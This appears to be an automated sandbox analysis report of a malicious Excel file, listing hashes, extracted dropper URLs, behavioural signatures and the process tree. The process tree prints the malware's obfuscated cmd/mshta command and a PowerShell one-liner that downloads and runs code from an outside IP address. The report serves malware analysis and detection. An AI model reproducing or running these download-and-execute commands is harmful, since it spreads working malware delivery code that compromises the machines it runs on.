Analysis
- max time kernel
4264961s - max time network
37s - platform
windows10-2004_x64 - resource
win10v2004-en-20220113 - submitted
17/01/2022, 22:40
General
- Target b2285fdea3f9372a2668ff43cc3169f0.xls
- Size 128KB
- Sample220117-2lknyadhcn
- SHA256 60bfb92cf2f86b683b04d1917c4eccb0529dd8c401d77e0aeef0793e82f78717
Malware Config
Extracted
-
hta
-
hta.dropper
http://0xb907d607/cc.html
Extracted
-
ps1
-
ps1.dropper
http://185.7.214.7/PP91.PNG
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b2285fdea3f9372a2668ff43cc3169f0.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\mshta.exemshta http://0xb907d607/cc.html3⤵
- Blocklisted process makes network request
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
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-
-
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 408 -p 3180 -ip 31801⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2560-162-0x0000020434AD0000-0x0000020434AD2000-memory.dmp
memory/2560-161-0x0000020434AD0000-0x0000020434AD2000-memory.dmp
memory/2560-160-0x0000020434AD0000-0x0000020434AD2000-memory.dmp
memory/3180-158-0x0000020F98258000-0x0000020F98260000-memory.dmp
memory/3700-146-0x00000260C02A0000-0x00000260C02A2000-memory.dmp
memory/3700-136-0x00000260C02A0000-0x00000260C02A2000-memory.dmp
memory/3700-139-0x00000260C02A0000-0x00000260C02A2000-memory.dmp
memory/3700-140-0x00000260C02A0000-0x00000260C02A2000-memory.dmp
memory/3700-142-0x00000260C02A0000-0x00000260C02A2000-memory.dmp
memory/3700-143-0x00000260C02A0000-0x00000260C02A2000-memory.dmp
memory/3700-141-0x00000260C02A0000-0x00000260C02A2000-memory.dmp
memory/3700-144-0x00000260C02A0000-0x00000260C02A2000-memory.dmp
memory/3700-145-0x00000260C02A0000-0x00000260C02A2000-memory.dmp
memory/3700-130-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp
memory/3700-147-0x00000260C02A0000-0x00000260C02A2000-memory.dmp
memory/3700-148-0x00000260C02A0000-0x00000260C02A2000-memory.dmp
memory/3700-137-0x00000260C02A0000-0x00000260C02A2000-memory.dmp
memory/3700-138-0x00000260C02A0000-0x00000260C02A2000-memory.dmp
memory/3700-151-0x00000260C02A0000-0x00000260C02A2000-memory.dmp
memory/3700-152-0x00000260C02A0000-0x00000260C02A2000-memory.dmp
memory/3700-153-0x00000260C02A0000-0x00000260C02A2000-memory.dmp
memory/3700-154-0x00000260C02A0000-0x00000260C02A2000-memory.dmp
memory/3700-155-0x00000260C02A0000-0x00000260C02A2000-memory.dmp
memory/3700-156-0x00000260C02A0000-0x00000260C02A4000-memory.dmp
memory/3700-157-0x00000260C02A0000-0x00000260C02A6000-memory.dmp
memory/3700-135-0x00000260C02A0000-0x00000260C02A2000-memory.dmp
memory/3700-134-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp
memory/3700-133-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp
memory/3700-132-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp
memory/3700-131-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp